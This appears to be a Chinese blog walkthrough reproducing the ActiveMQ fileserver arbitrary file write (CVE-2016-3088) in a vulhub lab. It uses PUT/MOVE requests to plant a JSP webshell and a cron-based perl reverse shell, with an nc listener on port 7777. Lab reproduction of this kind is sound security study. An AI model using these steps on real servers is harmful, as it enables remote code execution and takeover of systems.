背景简述
ActiveMQ的web控制台分为三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
其使用率并不高
文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。
在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
漏洞详情
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
写入webshell
写入cron或ssh key等文件
写入jar或jetty.xml等库和配置文件
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
知识拓展
背景简述和漏洞详情里面有几点和漏洞强相关的知识点是我之前没有接触过的,需要学习和理解一下:
cron是什么
反弹shell是什么
cron或ssh key和反弹shell的关系
jetty和jetty.xml是什么
linux文件权限
下面来一个一个了解一下:
cron是什么
在这个链接找到了cron的介绍:Cron是什么?利用Cron Job自动执行定时任务
简单来说,cron是linux系统的守护进程,用于在特定时间自动执行重复任务。
反弹shell是什么
简单来说反弹shell(reverse shell)就是反向的shell,是相对于标准shell的一个概念。
标准shell是攻击者作为客户端去连接目标服务器;
而反弹shell是攻击者作为服务器,监听某端口,而目标设备作为客户端主动连接攻击者。
反弹shell的应用场景:
目标机在局域网内
目标机ip地址是动态的
有防火墙等限制,目标机只能发请求,不能收请求
不确定目标机何时具备连接条件
这部分主要参考:反弹shell原理与实现
至于具体的反弹shell百度一搜全都是,就不说了。
cron或ssh key和反弹shell的关系
cron和反弹shell的关系很好理解,就是往目标机的定时任务文件中写反弹shell脚本;
ssh key和反弹shell的关系,从网上查到的资料看,是往目标机里面写了攻击机的ssh key(公钥)之后,攻击机就可以免密登录目标机。可是这不还是攻击机做客户端,目标机做服务器么?还是需要目标机开启ssh服务,并且允许攻击机连接,和反弹关系不大呀。。。小小的脑袋,大大的问号,也不知道是牵强附会,还是我没找到正确的资料。。
这部分主要参考:
jetty和jetty.xml是什么
简单来说,jetty是一种开源的servlet容器,是基于java的web容器,和tomcat是一类东西。jetty是通过API或者XML文件进行配置的,而jetty.xml是jetty的一个重要配置文件。
linux文件权限
vulhub官网教程中,据不完全统计,至少有两句话提到了权限相关的问题:
This method requires the ActiveMQ run as root, otherwise it will not be able to write to the cron file.
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。
In some cases, the owner of jetty.xml and jar is the user of the web container, so the success rate of writing crontab is higher.
有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。
总而言之,由于是通过ActiveMQ进行文件上传,因此运行ActiveMQ的用户必须有目标文件夹,或者需要修改的文件的写权限才行。
那么要确定能否写入或者修改文件,就需要确定两件事情:
文件或文件夹权限
运行ActiveMQ的用户
下面就以/etc/cron.d目录和jetty.xml文件来演示如何获取以上两点信息。(这部分内容仅仅是知识扩展,对于实际攻击没什么意义)
文件或文件夹权限
首先需要运行docker容器activemq/CVE-2016-3088
1 | sudo docker-compose up -d |

然后可以通过登录网页http://your-ip:8161/确认容器运行成功

接下来用下面的命令查看正在运行的docker容器id
1 | sudo docker container ps |

然后用下面这个命令进入容器
1 | sudo docker exec -it 容器id /bin/bash |

然后就用cd命令定位到我们想观察的点,再ls -l看看文件夹和文件的所有者和权限设置
从下图中可以看到/etc/cron.d目录的所有者是root,root用户的权限是可读写可执行;root组和其他组用户权限都是可读可执行。

而从下图中可以看到jetty.xml文件的所有者也是root,root用户的权限是可读写,其他用户的权限是可读。

运行ActiveMQ的用户
我想到两种方法查看运行ActiveMQ的用户:
第一种 通过ps命令
容器里面是没有ps命令的,需要用下面的命令先安装一下
1 | apt-get update && apt-get install procps |
安装好之后,用下面的命令查看运行activemq console的用户
ps aux
第二种 通过网页
访问网页:http://your-ip:8161/admin/test/systemProperties.jsp可以看到运行ActiveMQ的用户是root:

综上所述,运行ActiveMQ的用户是root,而root对/etc/cron.d目录和jetty.xml文件都是有写权限的,因此理论上上传crontab文件,以及修改jetty.xml文件都应该是可实现的。
漏洞复现
版本要求
根据vulhub上的背景简述可知,该漏洞影响版本是ActiveMQ在5.14.0之前的版本(不包括5.14.0)。
既然是vulhub提供的漏洞复现环境,那版本肯定是没问题的啦,不过如果想要确认一下版本的话,可以用浏览器访问http://your-ip:8161/admin/

途径1:写入webshell
前提条件
需要知道ActiveMQ的绝对路径
需要能登录admin或者api
思路分析
由于要满足以上两个前提条件,并且ActiveMQ的绝对路径可以通过http://your-ip:8161/admin/test/systemProperties.jsp页面获取,而这个页面也需要登录admin之后才能访问。因此,应该按照如下步骤实施攻击:
获取admin应用的用户名和密码
访问http://your-ip:8161/admin/test/systemProperties.jsp获取ActiveMQ的绝对路径
上传webshell
将webshell移动到admin所在文件夹
连接webshell
利用步骤
1、获取admin应用的用户名和密码
不是重点,不详细说了,而且这个步骤放在这篇文章里完全是为了攻击链的完整性,其实vulhub的教程已经说了默认用户名和密码都是admin。
我能想到的几种获取用户名和密码的方法:
尝试默认用户名和密码
尝试弱口令(暴力破解)
社工
暴力破解可以用Burp Suite的intruder模块。
2、获取ActiveMQ的绝对路径
得到admin应用的用户名和密码之后,就可以访问网页http://your-ip:8161/admin/test/systemProperties.jsp来获取ActiveMQ的绝对路径了,具体见下图红框框。

3、上传webshell
先得把webshell上传到fileserver,之后才能从fileserver转移。由于ActiveMQ是个java程序,因此需要传个jsp webshell。
在网上找了个jsp webshell:蚁剑jsp一句话木马
用PUT方法把webshell上传到fileserver:
1 | PUT /fileserver/ele.txt |
Response报文状态码204表示上传成功:

4、将webshell移动到admin所在文件夹
用MOVE方法进行webshell的移动
1 | MOVE /fileserver/ele.txt |
同样,Response报文状态码204表示移动成功:

5、连接webshell
这里用蚁剑演示一下,重点是记住admin应用是需要登录的,所以记得一定要在连接中添加Authorization头。
基础配置:

请求信息:

途径3:写入cron拿反弹shell
前提条件
需要运行ActiveMQ的用户有root权限
服务器开启了cron服务
运行ActiveMQ的用户有使用crontab的权限
前两点在知识拓展中已经被证明满足了,而第3点在默认情况下是满足的,除非存在cron.allow或者cron.deny文件,但这两个文件在vulhub提供的漏洞环境中并不存在。因此本环境理论上可以通过写入cron拿反弹shell。
思路分析
这种方法思路就比较简单了:
上传cron文件到fileserver
把cron文件从fileserver转移到/etc/cron.d/ele
攻击机上开启监听并等待反弹shell连接
这个网页有反弹shell合集,可以参考:反弹shell的方法总结
需要注意以下三点:
首先是vulhub提示的cron配置文件中换行一定要\n,不能是\r\n,否则crontab执行会失败。这一点在下面的漏洞利用过程中没有体会到。
另外,/etc/cron.d 文件夹中的任务文件命名有特殊要求,只能使用 [\w-] 字符,不能有 . (/etc/cron.d 攻略)
vulhub提供的示例中反弹shell用的是perl shell,这个反弹shell能成功的前提是服务器上安装了perl,另外,是否需要知道perl的绝对路径要看运气(看服务器上是否有相关的软链接)。
测试过程中我也尝试了cron文件中写bash反弹shell,但是反弹shell没有执行成功,目前还不知道是什么原因。网上搜索cron反弹shell的资料时,发现有人在其他环境上尝试bash反弹shell也没成功。。
利用步骤
1、上传cron文件到fileserver
payload如下,需要修改Host头
1 | Cookie: JSESSIONID=1afx396fq4o7818mkoe7sa03x1 |
请求数据部分是cron文件格式的perl反弹shell,*/1 * * * *表示定时任务执行时间是每分钟一次,root表示执行定时任务的用户,后面就是perl反弹shell的内容了。万一服务器上没有perl的软链接,就需要写perl的绝对路径了,比如/usr/bin/perl
此外还要注意,反弹shell中的$i为攻击机ip,$p为攻击机监听的端口。
Response报文状态码204表示文件上传成功

2、 将GET改为MOVE方式,把它移动到/etc/cron.d/root目录下,路径为Destination: file:///etc/cron.d/root
1 | MOVE /fileserver/ele.txt HTTP/2 |
Response报文状态码204表示文件转移成功
3、攻击机上开启监听并等待反弹shell连接
攻击机上用nc开监听,监听7777端口,命令如下:
nc -l -p 7777
耐心等一会儿,就能连上服务器了